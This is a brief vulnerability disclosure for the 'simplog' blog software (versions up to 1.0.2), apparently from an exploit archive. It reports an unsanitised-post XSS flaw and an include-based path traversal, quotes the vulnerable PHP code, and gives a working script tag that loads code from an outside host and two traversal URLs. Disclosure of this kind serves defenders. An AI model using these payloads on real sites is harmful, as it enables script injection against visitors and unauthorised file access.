simplogsploit.txt

`  
——–summary  
software: simplog  
vendors website: http://daverave.64digits.com/home.php?page=simplog  
versions: <= 1.0.2  
class: remote  
status: unpatched  
exploit: available  
solution: not available  
discovered by: retard and jim  
risk level: medium  
  
——– description  
simplog does not sanatise blog posts allowing users to insert  
html into posts causing a xss vulnerability. also, the application  
uses global variables for includes allowing users to include   
other .txt files than the inteded target  
  
in index.php:  
42 $act = $_GET['act'];   
43 if ($act == '')  
44 {  
45 include("blog.txt");  
46 }  
47 else  
48 {  
49 include("act/$act.txt");  
50 }   
  
——– exploit(s)  
xss:  
make any of your blog posts contain a script like below  
<SCRIPT SRC=http://notlegal.ws/xss.js></SCRIPT>  
  
directory transversal:  
http://example.com/index.php?act=blog&blogid=../somefile  
http://example.com/index.php?act=../somefile  
  
——– credit  
author(s): retard and jim  
email: [email protected]`